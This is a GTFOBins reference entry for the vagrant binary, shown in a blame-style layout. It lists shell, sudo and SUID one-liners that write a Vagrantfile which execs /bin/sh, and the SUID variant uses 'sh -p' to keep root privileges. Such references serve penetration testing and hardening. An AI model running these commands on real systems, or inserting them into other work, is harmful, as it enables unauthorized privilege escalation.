2023-03-29 16:34:57 +00:00
|
|
|
---
|
2023-04-13 06:34:09 +00:00
|
|
|
description: This allows to execute [`ruby`](/gtfobins/ruby/) code, other functions may apply.
|
2023-03-29 16:34:57 +00:00
|
|
|
functions:
|
|
|
|
shell:
|
2023-04-13 06:34:09 +00:00
|
|
|
- code: |
|
|
|
|
cd $(mktemp -d)
|
|
|
|
echo 'exec "/bin/sh"' > Vagrantfile
|
|
|
|
vagrant up
|
2023-03-29 16:34:57 +00:00
|
|
|
sudo:
|
2023-04-13 06:34:09 +00:00
|
|
|
- code: |
|
|
|
|
cd $(mktemp -d)
|
|
|
|
echo 'exec "/bin/sh"' > Vagrantfile
|
|
|
|
vagrant up
|
|
|
|
suid:
|
|
|
|
- code: |
|
|
|
|
cd $(mktemp -d)
|
|
|
|
echo 'exec "/bin/sh -p"' > Vagrantfile
|
|
|
|
vagrant up
|
2023-03-29 16:34:57 +00:00
|
|
|
---
|